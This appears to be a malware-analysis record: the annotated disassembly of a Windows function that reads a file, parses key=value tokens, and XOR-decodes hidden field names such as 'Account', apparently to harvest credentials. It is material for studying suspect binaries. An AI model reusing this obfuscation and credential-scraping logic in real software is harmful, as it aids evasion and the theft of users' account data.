Function at 0x43f4c0
Capabilities:
Encode data using xor
Get file size
Read file on windows

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x506d70
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0xa0
push esi
push edi
push 0
push 0x80
push 3
push 0
push 1
push connect
push ecx
mov dword [ebp - 0x94], edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x43fa21
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push eax
mov dword [ebp - 0x18], eax
call fcn.004dcbdf
push dword [ebp - 0x18]
mov edi, eax
push 0
push edi
mov dword [ebp - 0x30], edi
call fcn.004debb0
add esp, 0x10
mov dword [ebp - 0x88], 0
lea eax, [ebp - 0x88]
push 0
push eax
push dword [ebp - 0x18]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
test eax, eax
jne 0x43f588
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call fcn.004dcc10
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [edi], 0xd0
xorps xmm0, xmm0
mov edx, dword [ebx + 8]
mov esi, 0xf
setne al
mov byte [edx], al
xor al, al
xor edx, edx
mov byte [ebp - 0x12], al
movups xmmword [ebp - 0x7c], xmm0
mov dword [ebp - 0x6c], edx
mov dword [ebp - 0x68], esi
mov byte [ebp - 0x7c], al
xor eax, eax
mov dword [ebp - 4], edx
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x18], eax
jbe 0x43f9e8
nop word [eax + eax]
mov cl, byte [eax + edi]
cmp cl, 0x20
jbe 0x43f937
cmp cl, 0x7f
jae 0x43f937
cmp cl, 0x3d
je 0x43f937
mov byte [ebp - 0x8c], cl
cmp edx, esi
jae 0x43f612
lea eax, [edx + 1]
cmp esi, 0x10
mov dword [ebp - 0x6c], eax
lea eax, [ebp - 0x7c]
cmovae eax, dword [ebp - 0x7c]
mov byte [eax + edx], cl
mov byte [eax + edx + 1], 0
jmp 0x43f62f
push dword [ebp - 0x8c]
mov byte [ebp - 0x90], 0
lea ecx, [ebp - 0x7c]
push dword [ebp - 0x90]
push 1
call fcn.004028f0
xorps xmm0, xmm0
xor edi, edi
mov esi, 0xf
mov dword [ebp - 0x9c], edi
movups xmmword [ebp - 0xac], xmm0
mov dword [ebp - 0x98], esi
mov byte [ebp - 0xac], 0
mov byte [ebp - 4], 1
xor ecx, ecx
mov dword [ebp - 0x21], 0x838889a8
mov dword [ebp - 0x1d], 0x9b8098
mov byte [ebp - 0x19], 1
nop dword [eax + eax]
lea eax, [ecx - 0x17]
xor byte [ebp + ecx - 0x21], al
inc ecx
cmp ecx, 7
jb 0x43f670
lea edx, [ebp - 0x21]
mov byte [ebp - 0x19], 0
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x43f687
sub edx, ecx
lea eax, [ebp - 0x21]
cmp dword [ebp - 0x68], 0x10
lea ecx, [ebp - 0x7c]
push edx
cmovae ecx, dword [ebp - 0x7c]
setae byte [ebp - 0x11]
push eax
mov eax, dword [ebp - 0x6c]
mov edx, eax
push 0
mov dword [ebp - 0x28], eax
call fcn.0046b050
add esp, 0xc
test eax, eax
je 0x43f864
mov dword [ebp - 0x61], 0xdfbba5b9
xor ecx, ecx
mov dword [ebp - 0x5d], 0x9f8c8dac
mov dword [ebp - 0x59], 0x879c84
mov byte [ebp - 0x55], 1
nop dword [eax]
lea eax, [ecx - 0x17]
xor byte [ebp + ecx - 0x61], al
inc ecx
cmp ecx, 0xb
jb 0x43f6e0
lea edx, [ebp - 0x61]
mov byte [ebp - 0x55], 0
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x43f6f7
sub edx, ecx
cmp byte [ebp - 0x11], al
push edx
mov edx, dword [ebp - 0x28]
lea eax, [ebp - 0x61]
push eax
lea ecx, [ebp - 0x7c]
cmovne ecx, dword [ebp - 0x7c]
push 0
call fcn.0046b050
add esp, 0xc
test eax, eax
je 0x43f864
cmp byte [ebp - 0x12], 0
je 0x43f8fa
mov dword [ebp - 0x3a], 0x9f988bb9
xor ecx, ecx
mov dword [ebp - 0x36], 0x949d819a
mov word [ebp - 0x32], 0x100
lea eax, [ecx - 0x17]
xor byte [ebp + ecx - 0x3a], al
inc ecx
cmp ecx, 8
jb 0x43f744
lea edx, [ebp - 0x3a]
mov byte [ebp - 0x31], 0
lea ecx, [edx + 1]
nop dword [eax + eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x43f760
mov edi, dword [ebp - 0x28]
sub edx, ecx
cmp byte [ebp - 0x11], al
lea ecx, [ebp - 0x7c]
push edx
cmovne ecx, dword [ebp - 0x7c]
lea eax, [ebp - 0x3a]
push eax
push 0
mov edx, edi
call fcn.0046b050
add esp, 0xc
test eax, eax
je 0x43f7ec
mov dword [ebp - 0x4a], 0xdfbba5b9
xor ecx, ecx
mov dword [ebp - 0x46], 0x839c8fbd
mov dword [ebp - 0x42], 0x90819d86
mov word [ebp - 0x3e], 0x100
lea eax, [ecx - 0x17]
xor byte [ebp + ecx - 0x4a], al
inc ecx
cmp ecx, 0xc
jb 0x43f7a8
lea edx, [ebp - 0x4a]
mov byte [ebp - 0x3d], 0
lea ecx, [edx + 1]
nop
mov al, byte [edx]
inc edx
test al, al
jne 0x43f7c0
sub edx, ecx
cmp byte [ebp - 0x11], al
push edx
lea eax, [ebp - 0x4a]
mov edx, edi
push eax
lea ecx, [ebp - 0x7c]
cmovne ecx, dword [ebp - 0x7c]
push 0
call fcn.0046b050
add esp, 0xc
test eax, eax
jne 0x43f8fa
mov edx, dword [ebx + 8]
mov eax, dword [ebp - 0x2c]
cmp byte [edx], 0
lea ecx, [eax + 9]
jne 0x43f7fd
lea ecx, [eax + 2]
xorps xmm0, xmm0
xor esi, esi
mov edx, 0xf
mov dword [ebp - 0x44], esi
movups xmmword [ebp - 0x54], xmm0
mov dword [ebp - 0x40], edx
mov byte [ebp - 0x54], 0
mov edi, dword [ebp - 0x30]
mov byte [ebp - 4], 2
lea eax, [ecx + edi]
mov cl, byte [eax]
mov dword [ebp - 0x18], eax
cmp cl, 0x20
jbe 0x43f99d
nop dword [eax]
cmp cl, 0x7f
jae 0x43f99d
mov byte [ebp - 0x84], cl
cmp esi, edx
jae 0x43f96e
lea eax, [esi + 1]
cmp edx, 0x10
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x54]
cmovae eax, dword [ebp - 0x54]
mov byte [eax + esi], cl
mov byte [eax + esi + 1], 0
jmp 0x43f985
mov ecx, dword [ebx + 8]
mov eax, dword [ebp - 0x2c]
cmp byte [ecx], 0
lea esi, [eax + 9]
jne 0x43f875
lea esi, [eax + 2]
mov eax, dword [ebp - 0x30]
cmp byte [esi + eax], 0x20
jbe 0x43f8ed
nop
mov cl, byte [esi + eax]
cmp cl, 0x7f
jae 0x43f8e7
mov edx, dword [ebp - 0x98]
mov byte [ebp - 0x80], cl
cmp edi, edx
jae 0x43f8b8
lea eax, [edi + 1]
cmp edx, 0x10
mov dword [ebp - 0x9c], eax
lea eax, [ebp - 0xac]
cmovae eax, dword [ebp - 0xac]
mov byte [eax + edi], cl
mov byte [eax + edi + 1], 0
jmp 0x43f8d5
push dword [ebp - 0x80]
mov byte [ebp - 0x84], 0
lea ecx, [ebp - 0xac]
push dword [ebp - 0x84]
push 1
call fcn.004028f0
mov eax, dword [ebp - 0x30]
inc esi
cmp byte [esi + eax], 0x20
jbe 0x43f8e7
mov edi, dword [ebp - 0x9c]
jmp 0x43f880
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], esi
mov esi, dword [ebp - 0x98]
mov byte [ebp - 0x12], 1
mov byte [ebp - 4], 0
cmp esi, 0x10
jb 0x43f950
mov ecx, dword [ebp - 0xac]
inc esi
mov eax, ecx
cmp esi, 0x1000
jb 0x43f928
mov ecx, dword [eax - 4]
add esi, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43fa34
push esi
push ecx
call fcn.004dcbd1
mov edx, dword [ebp - 0x6c]
add esp, 8
jmp 0x43f953
cmp esi, 0x10
mov dword [ebp - 0x6c], 0
lea eax, [ebp - 0x7c]
cmovae eax, dword [ebp - 0x7c]
mov byte [eax], 0
mov edx, dword [ebp - 0x6c]
jmp 0x43f956
mov edx, dword [ebp - 0x28]
mov edi, dword [ebp - 0x30]
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp eax, dword [ebp - 0x18]
jae 0x43f9e8
mov esi, dword [ebp - 0x68]
jmp 0x43f5d0
push dword [ebp - 0x84]
mov byte [ebp - 0x80], 0
lea ecx, [ebp - 0x54]
push dword [ebp - 0x80]
push 1
call fcn.004028f0
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x40]
inc eax
mov esi, dword [ebp - 0x44]
mov dword [ebp - 0x18], eax
mov cl, byte [eax]
cmp cl, 0x20
ja 0x43f830
mov ecx, dword [ebp - 0x94]
lea eax, [ebp - 0x54]
cmp ecx, eax
je 0x43f9bb
cmp edx, 0x10
push esi
cmovae eax, dword [ebp - 0x54]
push eax
call fcn.00465640
mov edx, dword [ebp - 0x40]
cmp edx, 0x10
jb 0x43f9e8
mov ecx, dword [ebp - 0x54]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x43f9de
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43fa34
push edx
push ecx
call fcn.004dcbd1
add esp, 8
push edi
call fcn.004dcc10
mov ecx, dword [ebp - 0x68]
add esp, 4
cmp ecx, 0x10
jb 0x43fa21
mov edx, dword [ebp - 0x7c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43fa17
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43fa34
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.004e1e70
int3